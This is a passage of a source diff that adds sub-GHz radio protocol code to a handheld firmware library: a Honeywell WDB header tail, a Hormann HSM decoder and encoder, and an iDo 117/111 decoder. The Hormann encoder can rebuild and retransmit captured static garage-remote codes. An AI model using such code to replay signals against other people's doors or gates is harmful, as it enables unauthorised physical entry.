+ * @return SubGhzProtocolEncoderHoneywell_WDB* pointer to a SubGhzProtocolEncoderHoneywell_WDB instance
+ */
+void* subghz_protocol_encoder_honeywell_wdb_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderHoneywell_WDB.
+ * @param context Pointer to a SubGhzProtocolEncoderHoneywell_WDB instance
+ */
+void subghz_protocol_encoder_honeywell_wdb_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderHoneywell_WDB instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_honeywell_wdb_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderHoneywell_WDB instance
+ */
+void subghz_protocol_encoder_honeywell_wdb_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderHoneywell_WDB instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_honeywell_wdb_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderHoneywell_WDB.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderHoneywell_WDB* pointer to a SubGhzProtocolDecoderHoneywell_WDB instance
+ */
+void* subghz_protocol_decoder_honeywell_wdb_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderHoneywell_WDB.
+ * @param context Pointer to a SubGhzProtocolDecoderHoneywell_WDB instance
+ */
+void subghz_protocol_decoder_honeywell_wdb_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderHoneywell_WDB.
+ * @param context Pointer to a SubGhzProtocolDecoderHoneywell_WDB instance
+ */
+void subghz_protocol_decoder_honeywell_wdb_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderHoneywell_WDB instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_honeywell_wdb_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderHoneywell_WDB instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_honeywell_wdb_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderHoneywell_WDB.
+ * @param context Pointer to a SubGhzProtocolDecoderHoneywell_WDB instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_honeywell_wdb_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderHoneywell_WDB.
+ * @param context Pointer to a SubGhzProtocolDecoderHoneywell_WDB instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_honeywell_wdb_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderHoneywell_WDB instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_honeywell_wdb_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/hormann.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/hormann.c
new file mode 100644
index 000000000..f8a2a9ed5
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/hormann.c
@@ -0,0 +1,339 @@
+#include "hormann.h"
+
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+#define TAG "SubGhzProtocolHormannHsm"
+
+#define HORMANN_HSM_PATTERN 0xFF000000003
+
+static const SubGhzBlockConst subghz_protocol_hormann_const = {
+    .te_short = 500,
+    .te_long = 1000,
+    .te_delta = 200,
+    .min_count_bit_for_found = 44,
+};
+
+struct SubGhzProtocolDecoderHormann {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+};
+
+struct SubGhzProtocolEncoderHormann {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    HormannDecoderStepReset = 0,
+    HormannDecoderStepFoundStartHeader,
+    HormannDecoderStepFoundHeader,
+    HormannDecoderStepFoundStartBit,
+    HormannDecoderStepSaveDuration,
+    HormannDecoderStepCheckDuration,
+} HormannDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_hormann_decoder = {
+    .alloc = subghz_protocol_decoder_hormann_alloc,
+    .free = subghz_protocol_decoder_hormann_free,
+
+    .feed = subghz_protocol_decoder_hormann_feed,
+    .reset = subghz_protocol_decoder_hormann_reset,
+
+    .get_hash_data = subghz_protocol_decoder_hormann_get_hash_data,
+    .serialize = subghz_protocol_decoder_hormann_serialize,
+    .deserialize = subghz_protocol_decoder_hormann_deserialize,
+    .get_string = subghz_protocol_decoder_hormann_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_hormann_encoder = {
+    .alloc = subghz_protocol_encoder_hormann_alloc,
+    .free = subghz_protocol_encoder_hormann_free,
+
+    .deserialize = subghz_protocol_encoder_hormann_deserialize,
+    .stop = subghz_protocol_encoder_hormann_stop,
+    .yield = subghz_protocol_encoder_hormann_yield,
+};
+
+const SubGhzProtocol subghz_protocol_hormann = {
+    .name = SUBGHZ_PROTOCOL_HORMANN_HSM_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_868 | SubGhzProtocolFlag_AM |
+            SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save |
+            SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_hormann_decoder,
+    .encoder = &subghz_protocol_hormann_encoder,
+};
+
+void* subghz_protocol_encoder_hormann_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderHormann* instance = malloc(sizeof(SubGhzProtocolEncoderHormann));
+
+    instance->base.protocol = &subghz_protocol_hormann;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 1;
+    instance->encoder.size_upload = 1850; // 1801
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_hormann_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderHormann* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderHormann instance
+ * @return true On success
+ */
+static bool subghz_protocol_encoder_hormann_get_upload(SubGhzProtocolEncoderHormann* instance) {
+    furi_assert(instance);
+
+    size_t index = 0;
+    size_t size_upload = (instance->generic.data_count_bit * 2 + 2) * 20 + 1;
+    if(size_upload > instance->encoder.size_upload) {
+        FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
+        return false;
+    } else {
+        instance->encoder.size_upload = size_upload;
+    }
+
+    for(size_t repeat = 0; repeat < 20; repeat++) {
+        //Send start bit
+        instance->encoder.upload[index++] =
+            level_duration_make(true, (uint32_t)subghz_protocol_hormann_const.te_short * 24);
+        instance->encoder.upload[index++] =
+            level_duration_make(false, (uint32_t)subghz_protocol_hormann_const.te_short);
+        //Send key data
+        for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+            if(bit_read(instance->generic.data, i - 1)) {
+                //send bit 1
+                instance->encoder.upload[index++] =
+                    level_duration_make(true, (uint32_t)subghz_protocol_hormann_const.te_long);
+                instance->encoder.upload[index++] =
+                    level_duration_make(false, (uint32_t)subghz_protocol_hormann_const.te_short);
+            } else {
+                //send bit 0
+                instance->encoder.upload[index++] =
+                    level_duration_make(true, (uint32_t)subghz_protocol_hormann_const.te_short);
+                instance->encoder.upload[index++] =
+                    level_duration_make(false, (uint32_t)subghz_protocol_hormann_const.te_long);
+            }
+        }
+    }
+    instance->encoder.upload[index++] =
+        level_duration_make(true, (uint32_t)subghz_protocol_hormann_const.te_short * 24);
+
+    return true;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_hormann_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderHormann* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_hormann_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        if(!subghz_protocol_encoder_hormann_get_upload(instance)) {
+            instance->encoder.front = 0; // reset position before start
+            ret = SubGhzProtocolStatusErrorEncoderGetUpload;
+            break;
+        }
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_hormann_stop(void* context) {
+    SubGhzProtocolEncoderHormann* instance = context;
+    instance->encoder.is_running = false;
+    instance->encoder.front = 0; // reset position
+}
+
+LevelDuration subghz_protocol_encoder_hormann_yield(void* context) {
+    SubGhzProtocolEncoderHormann* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_hormann_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderHormann* instance = malloc(sizeof(SubGhzProtocolDecoderHormann));
+    instance->base.protocol = &subghz_protocol_hormann;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_hormann_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHormann* instance = context;
+    free(instance);
+}
+
+static bool subghz_protocol_decoder_hormann_check_pattern(SubGhzProtocolDecoderHormann* instance) {
+    return (instance->decoder.decode_data & HORMANN_HSM_PATTERN) == HORMANN_HSM_PATTERN;
+}
+
+void subghz_protocol_decoder_hormann_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHormann* instance = context;
+    instance->decoder.parser_step = HormannDecoderStepReset;
+}
+
+void subghz_protocol_decoder_hormann_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHormann* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case HormannDecoderStepReset:
+        if((level) && (DURATION_DIFF(duration, subghz_protocol_hormann_const.te_short * 24) <
+                       subghz_protocol_hormann_const.te_delta * 24)) {
+            instance->decoder.parser_step = HormannDecoderStepFoundStartBit;
+        }
+        break;
+    case HormannDecoderStepFoundStartBit:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_hormann_const.te_short) <
+                        subghz_protocol_hormann_const.te_delta)) {
+            instance->decoder.parser_step = HormannDecoderStepSaveDuration;
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+        } else {
+            instance->decoder.parser_step = HormannDecoderStepReset;
+        }
+        break;
+    case HormannDecoderStepSaveDuration:
+        if(level) { //save interval
+            if(duration >= (subghz_protocol_hormann_const.te_short * 5) &&
+               subghz_protocol_decoder_hormann_check_pattern(instance)) {
+                instance->decoder.parser_step = HormannDecoderStepFoundStartBit;
+                if(instance->decoder.decode_count_bit >=
+                   subghz_protocol_hormann_const.min_count_bit_for_found) {
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                break;
+            }
+            instance->decoder.te_last = duration;
+            instance->decoder.parser_step = HormannDecoderStepCheckDuration;
+        } else {
+            instance->decoder.parser_step = HormannDecoderStepReset;
+        }
+        break;
+    case HormannDecoderStepCheckDuration:
+        if(!level) {
+            if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_hormann_const.te_short) <
+                subghz_protocol_hormann_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_hormann_const.te_long) <
+                subghz_protocol_hormann_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = HormannDecoderStepSaveDuration;
+            } else if(
+                (DURATION_DIFF(instance->decoder.te_last, subghz_protocol_hormann_const.te_long) <
+                 subghz_protocol_hormann_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_hormann_const.te_short) <
+                 subghz_protocol_hormann_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = HormannDecoderStepSaveDuration;
+            } else
+                instance->decoder.parser_step = HormannDecoderStepReset;
+        } else {
+            instance->decoder.parser_step = HormannDecoderStepReset;
+        }
+        break;
+    }
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ */
+static void subghz_protocol_hormann_check_remote_controller(SubGhzBlockGeneric* instance) {
+    instance->btn = (instance->data >> 8) & 0xF;
+}
+
+uint8_t subghz_protocol_decoder_hormann_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHormann* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_hormann_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHormann* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_hormann_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHormann* instance = context;
+    return subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic, flipper_format, subghz_protocol_hormann_const.min_count_bit_for_found);
+}
+
+void subghz_protocol_decoder_hormann_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHormann* instance = context;
+    subghz_protocol_hormann_check_remote_controller(&instance->generic);
+
+    // push protocol data to global variable
+    subghz_block_generic_global.btn_is_available = false;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    subghz_block_generic_global.btn_length_bit = 4;
+    //
+
+    furi_string_cat_printf(
+        output,
+        "%s\r\n"
+        "%dbit\r\n"
+        "Key:0x%03lX%08lX\r\n"
+        "Btn:0x%01X\r\n",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        (uint32_t)(instance->generic.data >> 32),
+        (uint32_t)instance->generic.data,
+        instance->generic.btn);
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/hormann.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/hormann.h
new file mode 100644
index 000000000..8cb45aec3
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/hormann.h
@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_HORMANN_HSM_NAME "Hormann HSM"
+
+typedef struct SubGhzProtocolDecoderHormann SubGhzProtocolDecoderHormann;
+typedef struct SubGhzProtocolEncoderHormann SubGhzProtocolEncoderHormann;
+
+extern const SubGhzProtocolDecoder subghz_protocol_hormann_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_hormann_encoder;
+extern const SubGhzProtocol subghz_protocol_hormann;
+
+/**
+ * Allocate SubGhzProtocolEncoderHormann.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderHormann* pointer to a SubGhzProtocolEncoderHormann instance
+ */
+void* subghz_protocol_encoder_hormann_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderHormann.
+ * @param context Pointer to a SubGhzProtocolEncoderHormann instance
+ */
+void subghz_protocol_encoder_hormann_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderHormann instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_hormann_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderHormann instance
+ */
+void subghz_protocol_encoder_hormann_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderHormann instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_hormann_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderHormann.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderHormann* pointer to a SubGhzProtocolDecoderHormann instance
+ */
+void* subghz_protocol_decoder_hormann_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderHormann.
+ * @param context Pointer to a SubGhzProtocolDecoderHormann instance
+ */
+void subghz_protocol_decoder_hormann_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderHormann.
+ * @param context Pointer to a SubGhzProtocolDecoderHormann instance
+ */
+void subghz_protocol_decoder_hormann_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderHormann instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_hormann_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderHormann instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_hormann_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderHormann.
+ * @param context Pointer to a SubGhzProtocolDecoderHormann instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_hormann_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderHormann.
+ * @param context Pointer to a SubGhzProtocolDecoderHormann instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_hormann_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderHormann instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_hormann_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/ido.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/ido.c
new file mode 100644
index 000000000..3e82b95fc
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/ido.c
@@ -0,0 +1,231 @@
+#include "ido.h"
+
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+#define TAG "SubGhzProtocolIdo117/111"
+
+static const SubGhzBlockConst subghz_protocol_ido_const = {
+    .te_short = 450,
+    .te_long = 1450,
+    .te_delta = 150,
+    .min_count_bit_for_found = 48,
+};
+
+struct SubGhzProtocolDecoderIDo {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+};
+
+struct SubGhzProtocolEncoderIDo {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    IDoDecoderStepReset = 0,
+    IDoDecoderStepFoundPreambula,
+    IDoDecoderStepSaveDuration,
+    IDoDecoderStepCheckDuration,
+} IDoDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_ido_decoder = {
+    .alloc = subghz_protocol_decoder_ido_alloc,
+    .free = subghz_protocol_decoder_ido_free,
+
+    .feed = subghz_protocol_decoder_ido_feed,
+    .reset = subghz_protocol_decoder_ido_reset,
+
+    .get_hash_data = subghz_protocol_decoder_ido_get_hash_data,
+    .deserialize = subghz_protocol_decoder_ido_deserialize,
+    .serialize = subghz_protocol_decoder_ido_serialize,
+    .get_string = subghz_protocol_decoder_ido_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_ido_encoder = {
+    .alloc = NULL,
+    .free = NULL,
+
+    .deserialize = NULL,
+    .stop = NULL,
+    .yield = NULL,
+};
+
+const SubGhzProtocol subghz_protocol_ido = {
+    .name = SUBGHZ_PROTOCOL_IDO_NAME,
+    .type = SubGhzProtocolTypeDynamic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Save,
+
+    .decoder = &subghz_protocol_ido_decoder,
+    .encoder = &subghz_protocol_ido_encoder,
+};
+
+void* subghz_protocol_decoder_ido_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderIDo* instance = malloc(sizeof(SubGhzProtocolDecoderIDo));
+    instance->base.protocol = &subghz_protocol_ido;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    return instance;
+}
+
+void subghz_protocol_decoder_ido_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderIDo* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_ido_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderIDo* instance = context;
+    instance->decoder.parser_step = IDoDecoderStepReset;
+}
+
+void subghz_protocol_decoder_ido_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderIDo* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case IDoDecoderStepReset:
+        if((level) && (DURATION_DIFF(duration, subghz_protocol_ido_const.te_short * 10) <
+                       subghz_protocol_ido_const.te_delta * 5)) {
+            instance->decoder.parser_step = IDoDecoderStepFoundPreambula;
+        }
+        break;
+    case IDoDecoderStepFoundPreambula:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_ido_const.te_short * 10) <
+                        subghz_protocol_ido_const.te_delta * 5)) {
+            //Found Preambula
+            instance->decoder.parser_step = IDoDecoderStepSaveDuration;
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+        } else {
+            instance->decoder.parser_step = IDoDecoderStepReset;
+        }
+        break;
+    case IDoDecoderStepSaveDuration:
+        if(level) {
+            if(duration >= ((uint32_t)subghz_protocol_ido_const.te_short * 5 +
+                            subghz_protocol_ido_const.te_delta)) {
+                instance->decoder.parser_step = IDoDecoderStepFoundPreambula;
+                if(instance->decoder.decode_count_bit >=
+                   subghz_protocol_ido_const.min_count_bit_for_found) {
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+                break;
+            } else {
+                instance->decoder.te_last = duration;
+                instance->decoder.parser_step = IDoDecoderStepCheckDuration;
+            }
+
+        } else {
+            instance->decoder.parser_step = IDoDecoderStepReset;
+        }
+        break;
+    case IDoDecoderStepCheckDuration:
+        if(!level) {
+            if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_ido_const.te_short) <
+                subghz_protocol_ido_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_ido_const.te_long) <
+                subghz_protocol_ido_const.te_delta * 3)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = IDoDecoderStepSaveDuration;
+            } else if(
+                (DURATION_DIFF(instance->decoder.te_last, subghz_protocol_ido_const.te_short) <
+                 subghz_protocol_ido_const.te_delta * 3) &&
+                (DURATION_DIFF(duration, subghz_protocol_ido_const.te_short) <
+                 subghz_protocol_ido_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = IDoDecoderStepSaveDuration;
+            } else {
+                instance->decoder.parser_step = IDoDecoderStepReset;
+            }
+        } else {
+            instance->decoder.parser_step = IDoDecoderStepReset;
+        }
+        break;
+    }
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ */
+static void subghz_protocol_ido_check_remote_controller(SubGhzBlockGeneric* instance) {
+    uint64_t code_found_reverse =
+        subghz_protocol_blocks_reverse_key(instance->data, instance->data_count_bit);
+    uint32_t code_fix = code_found_reverse & 0xFFFFFF;
+
+    instance->serial = code_fix & 0xFFFFF;
+    instance->btn = (code_fix >> 20) & 0x0F;
+}
+
+uint8_t subghz_protocol_decoder_ido_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderIDo* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_ido_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderIDo* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_ido_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderIDo* instance = context;
+    return subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic, flipper_format, subghz_protocol_ido_const.min_count_bit_for_found);
+}
+
+void subghz_protocol_decoder_ido_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderIDo* instance = context;
+
+    subghz_protocol_ido_check_remote_controller(&instance->generic);
+    uint64_t code_found_reverse = subghz_protocol_blocks_reverse_key(
+        instance->generic.data, instance->generic.data_count_bit);
+    uint32_t code_fix = code_found_reverse & 0xFFFFFF;
+    uint32_t code_hop = (code_found_reverse >> 24) & 0xFFFFFF;
+
+    // push protocol data to global variable
+    subghz_block_generic_global.btn_is_available = false;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    subghz_block_generic_global.btn_length_bit = 4;
+    //
+
+    furi_string_cat_printf(
+        output,
+        "%s %dbit\r\n"
+        "Key:0x%lX%08lX\r\n"
+        "Fix:%06lX \r\n"
+        "Hop:%06lX \r\n"
+        "Sn:%05lX Btn:%X\r\n",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        (uint32_t)(instance->generic.data >> 32),
+        (uint32_t)instance->generic.data,
+        code_fix,
+        code_hop,
+        instance->generic.serial,
+        instance->generic.btn);
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/ido.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/ido.h
new file mode 100644
index 000000000..949320246
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/ido.h
@@ -0,0 +1,74 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_IDO_NAME "iDo 117/111"
+
+typedef struct SubGhzProtocolDecoderIDo SubGhzProtocolDecoderIDo;
+typedef struct SubGhzProtocolEncoderIDo SubGhzProtocolEncoderIDo;
+
+extern const SubGhzProtocolDecoder subghz_protocol_ido_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_ido_encoder;
+extern const SubGhzProtocol subghz_protocol_ido;
+
+/**
+ * Allocate SubGhzProtocolDecoderIDo.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderIDo* pointer to a SubGhzProtocolDecoderIDo instance
+ */
+void* subghz_protocol_decoder_ido_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderIDo.
+ * @param context Pointer to a SubGhzProtocolDecoderIDo instance
+ */
+void subghz_protocol_decoder_ido_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderIDo.
+ * @param context Pointer to a SubGhzProtocolDecoderIDo instance
+ */
+void subghz_protocol_decoder_ido_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderIDo instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_ido_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderIDo instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_ido_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderIDo.
+ * @param context Pointer to a SubGhzProtocolDecoderIDo instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
